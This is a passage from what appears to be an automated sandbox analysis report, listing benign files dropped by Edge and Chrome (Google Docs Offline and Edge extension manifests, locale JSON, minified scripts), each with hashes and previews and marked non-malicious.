Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\b79642bf-ab3e-4de9-8023-c3ff9aac0a57.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir4920_426545507\0ee9844c-66bf-4187-b085-6243c59416bb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir4920_426545507\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir4920_426545507\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir4920_426545507\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir4920_426545507\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Nov 18 11:29:12 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.974224082606247
Encrypted:	false
SSDEEP:	48:8L0dqITKMrsHtidAKZdA1oehwiZUklqehTy+3:8LbIWkzgy
MD5:	904814AE22750B2F0058751F88EB6877
